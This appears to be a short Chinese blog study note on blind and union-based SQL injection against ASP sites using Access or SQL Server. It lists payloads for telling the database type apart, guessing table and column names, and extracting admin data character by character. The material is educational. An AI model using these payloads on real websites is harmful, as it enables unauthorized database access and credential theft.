标签：access exists 数据库 段数 Access 列名 select
- access是没有数据库的；只有表
- 流程
- 判断数据库类型--->判断表名----> 判断列名---->判断列名长度(列中第一条记录数据长度)---->读取数据
- asp网站常用数据库：access和mssql数据库
- 判断数据库
- 如果有msysobjects则是access数据库；如果有sysobjects则是sqlsever数据库
- and exists (select * from msysobjects)>0 access
- and exists (select * from sysobjects)>0 sqlserver
- 查表
- and exists (select * from 表名)
- 查列名
- and exists (select 列名 from 表名)
- 判断列名长度
- and (select top 1 len(列名) from 表名)>5 ：列名是否大于5
- 逐字符爆破
- and (select top 1 asc(mid(user,1,1)) from admin)=97
- 偏移注入（需要结合联合查询）
- 联合查询补充字段数=当前表的字段数-查询表的字段数*N
- union select 1,2,3,4,5,,,* from admin_user ：*代表了admin_user的总字段数的倍数
- 通用性防注入
- 将输入的行为存放到sqlin.asp文件中；类似于日志
标签：access,
exists,
数据库,
段数,
Access,
列名,
select
From： https://blog.csdn.net/I_WORM/article/details/137490232